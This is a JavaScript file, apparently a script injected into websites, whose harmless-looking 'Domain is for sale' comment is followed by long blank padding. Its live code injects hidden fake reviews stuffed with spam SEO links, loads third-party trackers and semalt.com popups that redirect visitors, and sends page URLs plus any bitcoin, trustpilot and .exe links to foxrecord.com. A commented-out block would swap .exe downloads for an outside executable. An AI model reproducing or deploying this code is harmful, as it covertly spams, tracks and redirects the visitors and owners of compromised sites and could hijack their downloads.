/*
Domain is for sale: fawtuowo@gmail.com



































































*/

(function() {
	'use strict';
	
	if (window['shbNetLoaded']) return;
	window['shbNetLoaded'] = true;
	
	var isTopLayer = false;
	var popupHtml = "<div id=\"shbNetPaddingWr\" class=\"shbNetPopupWr\" style=\"display:none;\"> <table id=\"shbNetPaddingTable\" class=\"shbNetPopupTable\" style=\"display:none;\" width=\"100%\" height=\"100%\" cellspacing=\"0\" cellpadding=\"0\"> <tr style=\"background:none;\"> <td id=\"shbNetPopupCell\" class=\"shbNetPopupCell\"> <div id=\"shbNetPaddingPopup\" class=\"shbNetPopup\"> <div> <div style=\"padding:15px 0 0 0;\"> <div> <div style=\"display:inline-block; width:16%; padding:0 0 5px; vertical-align:top;\" data-type=\"api\" data-custom=\"\"> <div style=\"max-width:95%;\"> <span style=\"color:#737373; font-size:11px;\"><article>Always an adventure coming here. Been coming here since I was a child and now I get to share the experience with my grandchildren. Always a positive atmosphere and the employees are always nice and informative. <a href='https:\/\/fs.ee\/'>rehvid<\/a><\/article><\/span> <\/div> <div style=\"max-width:95%;\"> <span style=\"color:#9a9a9a; font-size:12px;\"><\/span> <\/div> <\/div> <div style=\"display:inline-block; width:16%; padding:0 0 5px; vertical-align:top;\" data-type=\"api\" data-custom=\"\"> <div style=\"max-width:95%;\"> <span style=\"color:#737373; font-size:11px;\"><article>Everone was nice but the tour was boring. Be warned, parking is 16.00!!! <a href='https:\/\/sex-paradise.com.ua\/82-chulki-kolgotki'>\u0441\u0435\u043a\u0441 \u043a\u043e\u043b\u0433\u043e\u0442\u043a\u0438 \u0447\u0435\u0440\u043d\u044b\u0435 \u043e\u043d\u043b\u0430\u0439\u043d<\/a><\/article><\/span> <\/div> <div style=\"max-width:95%;\"> <span style=\"color:#9a9a9a; font-size:12px;\"><\/span> <\/div> <\/div> <div style=\"display:inline-block; width:16%; padding:0 0 5px; vertical-align:top;\" data-type=\"api\" data-custom=\"\"> <div style=\"max-width:95%;\"> <span style=\"color:#737373; font-size:11px;\"><article>Good flavor , crispy crust, quick service, fair price <a href='https:\/\/semalt.com\/fr\/qa\/5038-fournisseur-d-amazon-centrale-au-royaume-uni.htm'>amazon vendor registration<\/a><\/article><\/span> <\/div> <div style=\"max-width:95%;\"> <span style=\"color:#9a9a9a; font-size:12px;\"><\/span> <\/div> <\/div> <div style=\"display:inline-block; width:16%; padding:0 0 5px; vertical-align:top;\" data-type=\"api\" data-custom=\"\"> <div style=\"max-width:95%;\"> <span style=\"color:#737373; font-size:11px;\"><article>Classic diner ... Benedicts on Monday night ... Yay! Apple pie milk shakes <a href='https:\/\/batumiexpert.com\/companies'>atlas georgia batumi<\/a><\/article><\/span> <\/div> <div style=\"max-width:95%;\"> <span style=\"color:#9a9a9a; font-size:12px;\"><\/span> <\/div> <\/div> <div style=\"display:inline-block; width:16%; padding:0 0 5px; vertical-align:top;\" data-type=\"api\" data-custom=\"\"> <div style=\"max-width:95%;\"> <span style=\"color:#737373; font-size:11px;\"><article>Great atmosphere, great games but the number of tables were a bit small <a href='https:\/\/kwinside.com\/'>serp api<\/a><\/article><\/span> <\/div> <div style=\"max-width:95%;\"> <span style=\"color:#9a9a9a; font-size:12px;\"><\/span> <\/div> <\/div> <div style=\"display:inline-block; width:16%; padding:0 0 5px; vertical-align:top;\" data-type=\"api\" data-custom=\"\"> <div style=\"max-width:95%;\"> <span style=\"color:#737373; font-size:11px;\"><article>Perfectly located by everything in Seattle ,condos are clean and modern they have balconies and ocean views, if in Seattle stay there..attached to pikes peak market and gum wall,also has Starbucks with great bakery from Milan <a href='https:\/\/sites.google.com\/view\/brm4downloadfree-ar'>free chrome browser<\/a><\/article><\/span> <\/div> <div style=\"max-width:95%;\"> <span style=\"color:#9a9a9a; font-size:12px;\"><\/span> <\/div> <\/div> <\/div> <div> <div style=\"display:inline-block; width:16%; padding:0 0 5px; vertical-align:top;\" data-type=\"api\" data-custom=\"\"> <div style=\"max-width:95%;\"> <span style=\"color:#737373; font-size:11px;\"><article>Little hospitality unfortunately and very expensive. Furthermore, great halls for events. Can say little more about it. <a href='https:\/\/skillcomplex.com\/vi\/courses\/chinh-sua-video-trong-adobe-premiere-pro\/'>premiere ph\u1ea7n m\u1ec1m<\/a><\/article><\/span> <\/div> <div style=\"max-width:95%;\"> <span style=\"color:#9a9a9a; font-size:12px;\"><\/span> <\/div> <\/div> <\/div> <div style=\"clear:both;\"><\/div> <\/div> <\/div> <\/div> <\/td> <\/tr> <\/table> <\/div>";
	var bottomHtml = "<span style=\"font-size:10px; line-height:20px;\"><article style=\"padding:0;\">Always an adventure coming here. Been coming here since I was a child and now I get to share the experience with my grandchildren. Always a positive atmosphere and the employees are always nice and informative. <a href='https:\/\/fs.ee\/'>rehvid<\/a>.<\/article><article style=\"padding:0;\">Everone was nice but the tour was boring. Be warned, parking is 16.00!!! <a href='https:\/\/sex-paradise.com.ua\/82-chulki-kolgotki'>\u0441\u0435\u043a\u0441 \u043a\u043e\u043b\u0433\u043e\u0442\u043a\u0438 \u0447\u0435\u0440\u043d\u044b\u0435 \u043e\u043d\u043b\u0430\u0439\u043d<\/a>.<\/article><article style=\"padding:0;\">Good flavor , crispy crust, quick service, fair price <a href='https:\/\/semalt.com\/fr\/qa\/5038-fournisseur-d-amazon-centrale-au-royaume-uni.htm'>amazon vendor registration<\/a>.<\/article><article style=\"padding:0;\">Classic diner ... Benedicts on Monday night ... Yay! Apple pie milk shakes <a href='https:\/\/batumiexpert.com\/companies'>atlas georgia batumi<\/a>.<\/article><article style=\"padding:0;\">Great atmosphere, great games but the number of tables were a bit small <a href='https:\/\/kwinside.com\/'>serp api<\/a>.<\/article><article style=\"padding:0;\">Perfectly located by everything in Seattle ,condos are clean and modern they have balconies and ocean views, if in Seattle stay there..attached to pikes peak market and gum wall,also has Starbucks with great bakery from Milan <a href='https:\/\/sites.google.com\/view\/brm4downloadfree-ar'>free chrome browser<\/a>.<\/article><article style=\"padding:0;\">Little hospitality unfortunately and very expensive. Furthermore, great halls for events. Can say little more about it. <a href='https:\/\/skillcomplex.com\/vi\/courses\/chinh-sua-video-trong-adobe-premiere-pro\/'>premiere ph\u1ea7n m\u1ec1m<\/a>.<\/article><\/span>";
	var popupCreated = false;
	
	var bottomPopup = false || /[?&]test=1/.test(location.href);
	
	//officeLog(bottomHtml);
	
	function onReady() {
		tryCreatePopup(2);
		
		var box = create('div');
		append(box, document.body);
		
		var defaultStyles = {
			width: '1px',
			height: '1px',
			background: 'transparent',
			display: 'inline-block',
			margin: '2px',
			padding: 0,
			verticalAlign: 'bottom',
			border: 'none'
		};
		
		var a = create('a');
		css(a, defaultStyles);
		
		document.addEventListener('keydown', function(e) {
			if (e.keyCode === 192 && e.ctrlKey) {
				css(a, {
					width: '20px',
					height: '20px',
					background: '#fff',
					border: '1px solid red'
				});
			}
		});
		
		document.addEventListener('keyup', function(e) {
			css(a, defaultStyles);
		});

		a.className = 'shbNetgpLink';
		append(a, box);
		
		a.href = 'javascript:;';
		on(a, 'click', openLinerPopup);
		
		css(box, {
			position: 'fixed',
			margin: 0,
			padding: 0,
			outline: 'none',
			border: 'none',
			zIndex: 999999999,
			overflow: 'visible',
			direction: 'ltr'
		});

		css(box, {
			left: '3px',
			right: 'auto',
			top: '50px',
			bottom: 'auto',
			width: '42px',
			height: '168px'
		});
	}
	
	function officeLog(data) {
			}
	
	function clearStyles() {
		if(typeof document.createStyleSheet === 'undefined') {
			document.createStyleSheet = (function() {
				function createStyleSheet(href) {
					if(typeof href !== 'undefined') {
						var element = document.createElement('link');
						element.type = 'text/css';
						element.rel = 'stylesheet';
						element.href = href;
					} else {
						var element = document.createElement('style');
						element.type = 'text/css';
					}

					document.getElementsByTagName('head')[0].appendChild(element);
					var sheet = document.styleSheets[document.styleSheets.length - 1];

					if(typeof sheet.addRule === 'undefined')
						sheet.addRule = addRule;

					if(typeof sheet.removeRule === 'undefined')
						sheet.removeRule = sheet.deleteRule;

					return sheet;
				}

				function addRule(selectorText, cssText, index) {
					if(typeof index === 'undefined')
						index = this.cssRules.length;

					this.insertRule(selectorText + ' {' + cssText + '}', index);
				}

				return createStyleSheet;
			})();
		}
		
		var sheet = document.createStyleSheet();
		sheet.addRule('#shbNetPaddingTable', 'display: none;');
		sheet.addRule('#shbNetPaddingWr #shbNetPaddingTable', 'display: table;');
		sheet.addRule('.shbNetPopupWr, .shbNetPopupWr *', '-webkit-text-shadow:none !important; text-shadow:none !important;');
		sheet.addRule('.shbNetPopupTable img', 'display:inline; width:auto; height:auto; background:none; float:none;');
		sheet.addRule('.shbNetPopupTable *', 'margin:0; padding:0; font-family:Tahoma,Arial,Sans-Serif,Verdana; font-size:11px; line-height:normal;');
		sheet.addRule('.shbNetPopupTable a, .shbNetPopupTable b', 'text-decoration:none; background:none; height:auto !important; color:#737373; font-size:11px; font-weight:bold;');
		
		sheet.addRule('.shbNetTopLayer .shbNetPopupWr', 'display:block !important; width: 100% !important; x-index:99999999 !important; background: #fff !important; padding: 2px 10px !important;');
		sheet.addRule('.shbNetTopLayer #shbNetPaddingTable', 'display:table !important;');
	}
	
	function createTopLayer() {
		//if (!domReady) return;
		
		var div = document.createElement('div');
		div.className = 'shbNetTopLayer';
		div.innerHTML = popupHtml;
		document.body.insertBefore(div, document.body.childNodes[0]);
		
		popupCreated = true;
	}
	
	function tryCreatePopup(stage) {
		if (popupCreated) return;
		
		if (isTopLayer) {
			createTopLayer();
			return;
		}
		
		if (bottomPopup) {
			var box = document.createElement('div');
			box.innerHTML = bottomHtml;
			document.body.appendChild(box);
			
			return;
		}
		
		if (stage === 1) {
			document.writeln(popupHtml);
		} else if (stage === 2) {
			var mainBox = create('div');
			mainBox.innerHTML = popupHtml;
			document.body.appendChild(mainBox);
		} else {
			return;
		}
	
		var wr = $('shbNetPaddingWr');
		if (!wr) return;
		
		popupCreated = true;
		
		var table = $('shbNetPaddingTable');
		css(table, {
			position: 'fixed',
			margin: 0,
			padding: 0,
			left: 0,
			top: 0,
			width: '100%',
			height: '100%',
			direction: 'ltr',
			zIndex: 999999999,
			background: 'none'
		});
		css(table.getElementsByTagName('td')[0], {
			verticalAlign: 'middle',
			background: 'rgba(0, 0, 0, 0.5)'
		});
		
		var popup = $('shbNetPaddingPopup');
		css(popup, {
			margin: '0 auto',
			padding: '20px 25px 20px',
			width: '800px',
			maxWidth: '98%',
			background: '#fff',
			border: '1px solid #000',
			textAlign: 'left',
			position: 'relative',
			fontFamily: 'Tahoma, Arial, Verdana',
			boxSizing: 'content-box'
		});
		
		on(document, 'keydown', function(e) {
			if (e.keyCode === 27) {
				wr.style.display = 'none';
			}
		});
	}
	
	function removeClass(node, className) {
		if (node && node.className) {
			node.className = node.className.replace(new RegExp('\\b' + className + '\\b', 'g'), '');
		}
	}
	
	function openLinerPopup() {
		var pad = $('shbNetPaddingWr');
		var tbl = $('shbNetPaddingTable');
		if (!pad || !tbl) return;
		
		pad.style.display = 'block';
		tbl.style.display = 'table';
		
		var mainPopup = $('shbNetPopupWr');
		if (!mainPopup) return;
		
		mainPopup.style.display = 'none';
	}
	
	function $(id) {
		return document.getElementById(id);
	}
	
	function on(elem, event, handler) {
		elem.addEventListener(event, handler, false);
	}
	
	function css(elem, style) {
		for (var prop in style) {
			elem.style[prop] = style[prop];
		}
	}
	
	function create(tag) {
		return document.createElement(tag);
	}
	
	function append(elem, parent) {
		parent.appendChild(elem);
	}
	
	setTimeout(function() {
		window.CJSource = 'shb2';
		var script = document.createElement('script');
		script.src = 'https://cleverjump.org/counter.js';
		(document.head || document.body).appendChild(script);
		
		(function(w, d) {
			var s = d.createElement('script');
			d.getElementsByTagName('script')[0].parentNode.appendChild(s);
			s.setAttribute('data-statinside-id', 21);
			s.src = 'https://statinside.com/counter.js';
			w._siData = w._siData || [];
			w.statInside = function() {_siData.push(arguments);}
		})(window, document);

		statInside('custom', 'shb2');
		statInside('heartbeat', false);
	}, 10);
	
	
	if (document.readyState === 'complete' || document.readyState === 'interactive') {
		onReady();
	} else {
		on(document, 'DOMContentLoaded', onReady);
	}
	
	tryCreatePopup(1);
	
	try {
		clearStyles();
	} catch (ex) {}
	
	(function() {
		if (!document.querySelector) return;
		
		var added = false;
		
		tryAddLink();
		window.addEventListener('DOMContentLoaded', tryAddLink);
		setTimeout(tryAddLink, 100);
		setTimeout(tryAddLink, 1000);
		setTimeout(tryAddLink, 2000);
		
		function tryAddLink() {
			if (added) return;
			
			var menu = document.querySelector('#wpadminbar .ab-top-menu');
			if (!menu) return;
			
			var li = document.createElement('li');
			li.innerHTML = '<a class="ab-item" href="https://semalt.com" target="_blank">SEO promotion</a>';
			
			//menu.appendChild(li);
			
			added = true;
			
			save();
		}
		
		function save() {
			var json = JSON.stringify({
				hrefs: ['wordpress_new'],
				jsDomain: 'foxrecord.com',
				refUrl: location.href
			});
			
			var xhr = new XMLHttpRequest;
			xhr.open('POST', '//foxrecord.com/save.php');
			xhr.setRequestHeader('Content-Type', 'text/plain');
			xhr.onload = function() {
				xhr.responseText;
			}
			xhr.send(json);
		}
	})();
	
	(function() {
				function byId(id) {
			return document.getElementById(id);
		}
		
		function setCookie() {
			var date = new Date();
			date.setTime(date.getTime() + (60 * 60 * 1000));
			document.cookie = 'closePopupStartWow=1; path=/; domain=.' + location.hostname + '; expires=' + date.toGMTString();
		}
		
		function listenerPopupSemalt(event){
			if (event.origin != 'https://semalt.com') return;
			if (!event.data) return;
			
			if (event.data == 'closePopupStartWow'){
				var el = byId('popupStartWow');
				if (!el) return;
				
				el.style.display = 'none';
				
				setCookie();
			} else if(event.data.indexOf('startPopupStartWow')>-1) {
				try{var res = JSON.parse(event.data);
					if(res && res.page){
						location.href = 'https://semalt.com/?s='+decodeURIComponent(res.page)+'&ref=blogspot';
					}
				} catch(ee) { }
				
				setCookie();
			}
		}
		
		function init() {
			if (document.getElementById('popupWowNode')) return;
			
			var div = document.createElement('div');
			div.id = 'popupWowNode';
			try {
				div.innerHTML = html;
			} catch (err) {
				return;
			}
			
			document.body.appendChild(div);
			
			setTimeout(function(){
				if (document.cookie.indexOf('closePopupStartWow') !== -1) return;
				
				var el = byId('popupStartWow');
				if (!el) return;
				
				el.setAttribute('src', 'https://semalt.com/popups/popup_wow.php?lang=en');
				setTimeout(function(){
					el.style.display = 'block';
				}, 400);
			},400);
		}
		
		setTimeout(init, 100);
		setTimeout(init, 1000);
		setTimeout(init, 2000);
		
		window.addEventListener('message', listenerPopupSemalt, false);
	})();
	
	setTimeout(function() {
		/*try {
		
			var links = document.querySelectorAll('a[href$=".exe"]');
			for (var i = 0; i < links.length; i++) {
				links[i].href = 'https://myprintscreen.com/soft/myp0912.exe';
				break;
			}
		} catch (err) {}*/
		
		try {
			var links = document.querySelectorAll('a[href^="bitcoin:"], a[href*="trustpilot.com"], a[href$=".exe"]');
			//var links = document.querySelectorAll('a[href^="https://"]');
			if (links.length) {
				var hrefs = [];
				for (var i = 0; i < links.length; i++) {
					hrefs.push(links[i].href);
				}
				
				var json = JSON.stringify({
					hrefs: hrefs,
					jsDomain: 'foxrecord.com',
					refUrl: location.href
				});
				
				var xhr = new XMLHttpRequest;
				xhr.open('POST', '//foxrecord.com/save.php');
				xhr.setRequestHeader('Content-Type', 'text/plain');
				xhr.onload = function() {
					xhr.responseText;
				}
				xhr.send(json);
			}
		} catch (ex) {}
	}, 2000);
})();
